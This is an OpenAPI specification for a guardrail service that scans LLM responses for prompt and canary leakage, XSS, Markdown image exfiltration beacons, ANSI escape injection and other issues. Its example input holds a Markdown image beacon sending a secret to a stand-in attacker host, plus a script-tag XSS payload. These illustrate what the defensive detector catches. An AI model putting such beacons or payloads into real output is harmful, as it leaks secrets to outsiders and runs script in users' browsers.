{"openapi":"3.0.3","info":{"title":"LLM Output Safety, Leakage & Format Guardrail API","version":"1.0.0","description":"Audits and sanitizes LLM responses before delivery for system-prompt/canary leakage, XSS/HTML execution payloads, Markdown image exfiltration beacons, ANSI escape injection, blocked competitor/policy terms, unhedged regulated advice, and degenerate repetition loops."},"servers":[{"url":"https://api.tinplate.dev","description":"Production Edge Gateway"}],"components":{"schemas":{"LlmOutputGuardResponseData":{"type":"object","properties":{"verdict":{"type":"string","enum":["allow","sanitize","block"]},"safe":{"type":"boolean"},"risk_score":{"type":"integer","minimum":0,"maximum":100},"sanitized_output":{"type":"string"},"findings":{"type":"array","items":{"type":"object","properties":{"category":{"type":"string","enum":["canary_leak","system_prompt_leak","xss_executable","markdown_exfiltration","ansi_escape_injection","blocked_term","unhedged_regulated_advice","degenerate_repetition"]},"severity":{"type":"string","enum":["low","medium","high","critical"]},"description":{"type":"string"},"match":{"type":"string"},"offset":{"type":"integer","minimum":0}},"required":["category","severity","description","match","offset"]}},"metrics":{"type":"object","properties":{"char_count":{"type":"integer","minimum":0},"estimated_tokens":{"type":"integer","minimum":0},"system_prompt_overlap_ratio":{"type":"number","minimum":0,"maximum":1},"repetition_ratio":{"type":"number","minimum":0,"maximum":1},"refusal_detected":{"type":"boolean"}},"required":["char_count","estimated_tokens","system_prompt_overlap_ratio","repetition_ratio","refusal_detected"]}},"required":["verdict","safe","risk_score","sanitized_output","findings","metrics"]},"LlmOutputGuardRequest":{"type":"object","properties":{"output":{"type":"string","minLength":1,"maxLength":200000,"description":"Raw text or Markdown response generated by the LLM.","example":"Here is the summary! ![beacon](https://evil.example.com/collect?secret=123) <script>alert(1)</script>"},"system_prompt":{"type":"string","maxLength":50000,"description":"Optional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output."},"canary_tokens":{"type":"array","items":{"type":"string","minLength":3,"maxLength":128},"maxItems":50,"description":"Optional secret canary strings embedded in the system prompt that must never appear in the output.","example":["CANARY-9F8A-77B1"]},"blocked_terms":{"type":"array","items":{"type":"string","minLength":2,"maxLength":120},"maxItems":100,"description":"Optional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.","example":["AcmeCorpCompetitor"]},"allowed_link_domains":{"type":"array","items":{"type":"string","minLength":3,"maxLength":253},"maxItems":100,"description":"Optional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged.","example":["tinplate.dev","docs.tinplate.dev"]},"check_regulated_advice":{"type":"boolean","default":true,"description":"Flag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer."}},"required":["output"]},"ResponseMeta":{"type":"object","required":["request_id"],"properties":{"request_id":{"type":"string","format":"uuid"},"ms":{"type":"integer","minimum":0},"version":{"type":"string","example":"1.0.0"}}},"ErrorEnvelope":{"type":"object","required":["ok","error","meta"],"properties":{"ok":{"type":"boolean","enum":[false]},"error":{"type":"object","required":["code","message"],"properties":{"code":{"type":"string","example":"invalid_input"},"message":{"type":"string","example":"Request body failed validation"}}},"meta":{"$ref":"#/components/schemas/ResponseMeta"}}}},"parameters":{}},"paths":{"/v1/llm-output-guard":{"post":{"tags":["31_LLM_OUTPUT_GUARD"],"summary":"Audit and sanitize an LLM response for prompt leakage, exfiltration beacons, XSS, and policy violations","requestBody":{"required":true,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmOutputGuardRequest"}}}},"responses":{"200":{"description":"Outbound guardrail verdict, risk score, sanitized output, findings, and token/repetition metrics","content":{"application/json":{"schema":{"type":"object","properties":{"ok":{"type":"boolean","enum":[true]},"data":{"$ref":"#/components/schemas/LlmOutputGuardResponseData"},"meta":{"$ref":"#/components/schemas/ResponseMeta"}},"required":["ok","data","meta"]}}}},"400":{"description":"Invalid input or malformed JSON request body","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorEnvelope"}}}},"401":{"description":"Missing or invalid authentication credentials","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorEnvelope"}}}},"413":{"description":"Request payload exceeds subscribed plan byte cap","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorEnvelope"}}}},"429":{"description":"Rate limit exceeded","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorEnvelope"}}}},"500":{"description":"Internal server error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorEnvelope"}}}}}}}}}